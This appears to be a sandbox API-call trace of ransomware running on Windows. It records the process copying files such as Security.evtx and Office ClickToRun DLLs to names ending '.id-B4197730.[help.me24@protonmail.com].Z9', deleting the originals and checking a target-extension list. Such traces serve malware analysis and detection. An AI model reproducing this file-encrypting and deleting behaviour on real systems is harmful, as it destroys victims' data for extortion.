	[0083.640] CreateFileW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\security.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0083.640] GetLastError () returned 0x0
	[0083.640] ReadFile (in: hFile=0x378, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0083.663] WriteFile (in: hFile=0x360, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0084.143] ReadFile (in: hFile=0x378, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x11010, lpOverlapped=0x0) returned 1
	[0084.153] WriteFile (in: hFile=0x360, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x11020, lpOverlapped=0x0) returned 1
	[0084.157] ReadFile (in: hFile=0x378, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.157] WriteFile (in: hFile=0x360, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xee, lpOverlapped=0x0) returned 1
	[0084.157] SetEndOfFile (hFile=0x360) returned 1
	[0084.158] CloseHandle (hObject=0x360) returned 1
	[0084.618] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.618] SetEndOfFile (hFile=0x378) returned 1
	[0084.628] CloseHandle (hObject=0x378) returned 1
	[0084.628] SetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0084.628] DeleteFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 1
	[0084.629] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0084.629] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0084.629] lstrlenW (lpString=".doc") returned 4
	[0084.629] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0084.629] lstrlenW (lpString=".docx") returned 5
	[0084.629] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0084.629] lstrlenW (lpString=".pdf") returned 4
	[0084.629] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0084.629] lstrlenW (lpString=".xls") returned 4
	[0084.629] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0084.629] lstrlenW (lpString=".xlsx") returned 5
	[0084.629] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0084.629] lstrlenW (lpString=".ppt") returned 4
	[0084.629] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0084.629] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0084.629] lstrlenW (lpString=".zip") returned 4
	[0084.629] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0084.629] lstrlenW (lpString=".rar") returned 4
	[0084.629] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0084.629] lstrlenW (lpString=".bz2") returned 4
	[0084.629] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0084.629] lstrlenW (lpString=".7z") returned 3
	[0084.629] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0084.629] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0084.629] lstrlenW (lpString=".dbf") returned 4
	[0084.629] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0084.629] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0084.629] lstrlenW (lpString=".1cd") returned 4
	[0084.629] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0084.629] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0084.629] lstrlenW (lpString=".jpg") returned 4
	[0084.629] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0084.630] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0084.630] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0084.630] lstrlenW (lpString=".doc") returned 4
	[0084.630] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0084.630] lstrlenW (lpString=".docx") returned 5
	[0084.630] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0084.630] lstrlenW (lpString=".pdf") returned 4
	[0084.630] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0084.630] lstrlenW (lpString=".xls") returned 4
	[0084.630] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0084.630] lstrlenW (lpString=".xlsx") returned 5
	[0084.630] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0084.630] lstrlenW (lpString=".ppt") returned 4
	[0084.630] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0084.630] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0084.630] lstrlenW (lpString=".zip") returned 4
	[0084.630] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0084.630] lstrlenW (lpString=".rar") returned 4
	[0084.630] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0084.630] lstrlenW (lpString=".bz2") returned 4
	[0084.630] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0084.630] lstrlenW (lpString=".7z") returned 3
	[0084.630] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0084.630] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0084.630] lstrlenW (lpString=".dbf") returned 4
	[0084.630] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0084.630] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0084.630] lstrlenW (lpString=".1cd") returned 4
	[0084.630] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0084.630] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0084.630] lstrlenW (lpString=".jpg") returned 4
	[0084.630] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0084.631] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0084.631] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41
	[0084.631] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.631] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=19136) returned 1
	[0084.631] CloseHandle (hObject=0x378) returned 1
	[0084.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x20
	[0084.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.631] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.632] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.632] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.632] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0084.633] GetLastError () returned 0x0
	[0084.633] ReadFile (in: hFile=0x378, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x4ac0, lpOverlapped=0x0) returned 1
	[0084.635] WriteFile (in: hFile=0x360, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x4ad0, lpOverlapped=0x0) returned 1
	[0084.636] ReadFile (in: hFile=0x378, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.636] WriteFile (in: hFile=0x360, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x126, lpOverlapped=0x0) returned 1
	[0084.636] SetEndOfFile (hFile=0x360) returned 1
	[0084.636] CloseHandle (hObject=0x360) returned 1
	[0084.637] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.637] SetEndOfFile (hFile=0x378) returned 1
	[0084.638] CloseHandle (hObject=0x378) returned 1
	[0084.638] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0084.639] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 1
	[0084.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0084.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0084.639] lstrlenW (lpString=".doc") returned 4
	[0084.639] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.639] lstrlenW (lpString=".docx") returned 5
	[0084.639] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0084.639] lstrlenW (lpString=".pdf") returned 4
	[0084.639] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.639] lstrlenW (lpString=".xls") returned 4
	[0084.639] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.639] lstrlenW (lpString=".xlsx") returned 5
	[0084.639] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0084.639] lstrlenW (lpString=".ppt") returned 4
	[0084.639] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0084.639] lstrlenW (lpString=".zip") returned 4
	[0084.639] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.640] lstrlenW (lpString=".rar") returned 4
	[0084.640] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.640] lstrlenW (lpString=".bz2") returned 4
	[0084.640] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.640] lstrlenW (lpString=".7z") returned 3
	[0084.640] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0084.640] lstrlenW (lpString=".dbf") returned 4
	[0084.640] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0084.640] lstrlenW (lpString=".1cd") returned 4
	[0084.640] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0084.640] lstrlenW (lpString=".jpg") returned 4
	[0084.640] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0084.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0084.640] lstrlenW (lpString=".doc") returned 4
	[0084.640] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.640] lstrlenW (lpString=".docx") returned 5
	[0084.640] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0084.640] lstrlenW (lpString=".pdf") returned 4
	[0084.640] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.640] lstrlenW (lpString=".xls") returned 4
	[0084.640] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.640] lstrlenW (lpString=".xlsx") returned 5
	[0084.641] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0084.641] lstrlenW (lpString=".ppt") returned 4
	[0084.641] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0084.641] lstrlenW (lpString=".zip") returned 4
	[0084.641] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.641] lstrlenW (lpString=".rar") returned 4
	[0084.641] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.641] lstrlenW (lpString=".bz2") returned 4
	[0084.641] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.641] lstrlenW (lpString=".7z") returned 3
	[0084.641] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0084.641] lstrlenW (lpString=".dbf") returned 4
	[0084.641] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0084.641] lstrlenW (lpString=".1cd") returned 4
	[0084.641] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0084.641] lstrlenW (lpString=".jpg") returned 4
	[0084.641] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.641] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0084.641] lstrlenW (lpString="api-ms-win-core-synch-l1-2-0.dll") returned 32
	[0084.641] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.642] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=19136) returned 1
	[0084.642] CloseHandle (hObject=0x378) returned 1
	[0084.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x20
	[0084.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.642] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.642] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.642] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.642] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0084.642] GetLastError () returned 0x0
	[0084.642] ReadFile (in: hFile=0x378, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x4ac0, lpOverlapped=0x0) returned 1
	[0084.644] WriteFile (in: hFile=0x360, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x4ad0, lpOverlapped=0x0) returned 1
	[0084.645] ReadFile (in: hFile=0x378, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.645] WriteFile (in: hFile=0x360, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x114, lpOverlapped=0x0) returned 1
	[0084.646] SetEndOfFile (hFile=0x360) returned 1
	[0084.646] CloseHandle (hObject=0x360) returned 1
	[0084.647] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.647] SetEndOfFile (hFile=0x378) returned 1
	[0084.648] CloseHandle (hObject=0x378) returned 1
	[0084.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0084.648] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 1
	[0084.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0084.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0084.649] lstrlenW (lpString=".doc") returned 4
	[0084.649] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.649] lstrlenW (lpString=".docx") returned 5
	[0084.649] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.649] lstrlenW (lpString=".pdf") returned 4
	[0084.649] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.649] lstrlenW (lpString=".xls") returned 4
	[0084.649] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.649] lstrlenW (lpString=".xlsx") returned 5
	[0084.649] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.649] lstrlenW (lpString=".ppt") returned 4
	[0084.649] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0084.649] lstrlenW (lpString=".zip") returned 4
	[0084.649] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.649] lstrlenW (lpString=".rar") returned 4
	[0084.649] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.649] lstrlenW (lpString=".bz2") returned 4
	[0084.649] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.649] lstrlenW (lpString=".7z") returned 3
	[0084.649] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0084.649] lstrlenW (lpString=".dbf") returned 4
	[0084.650] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0084.650] lstrlenW (lpString=".1cd") returned 4
	[0084.650] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0084.650] lstrlenW (lpString=".jpg") returned 4
	[0084.650] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0084.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0084.650] lstrlenW (lpString=".doc") returned 4
	[0084.650] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.650] lstrlenW (lpString=".docx") returned 5
	[0084.650] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.650] lstrlenW (lpString=".pdf") returned 4
	[0084.650] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.650] lstrlenW (lpString=".xls") returned 4
	[0084.650] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.650] lstrlenW (lpString=".xlsx") returned 5
	[0084.650] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.650] lstrlenW (lpString=".ppt") returned 4
	[0084.650] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0084.650] lstrlenW (lpString=".zip") returned 4
	[0084.650] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.650] lstrlenW (lpString=".rar") returned 4
	[0084.650] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.650] lstrlenW (lpString=".bz2") returned 4
	[0084.650] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.650] lstrlenW (lpString=".7z") returned 3
	[0084.651] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0084.651] lstrlenW (lpString=".dbf") returned 4
	[0084.651] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0084.651] lstrlenW (lpString=".1cd") returned 4
	[0084.651] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0084.651] lstrlenW (lpString=".jpg") returned 4
	[0084.651] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.651] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0084.651] lstrlenW (lpString="api-ms-win-core-timezone-l1-1-0.dll") returned 35
	[0084.651] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.652] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=18624) returned 1
	[0084.652] CloseHandle (hObject=0x378) returned 1
	[0084.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x20
	[0084.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
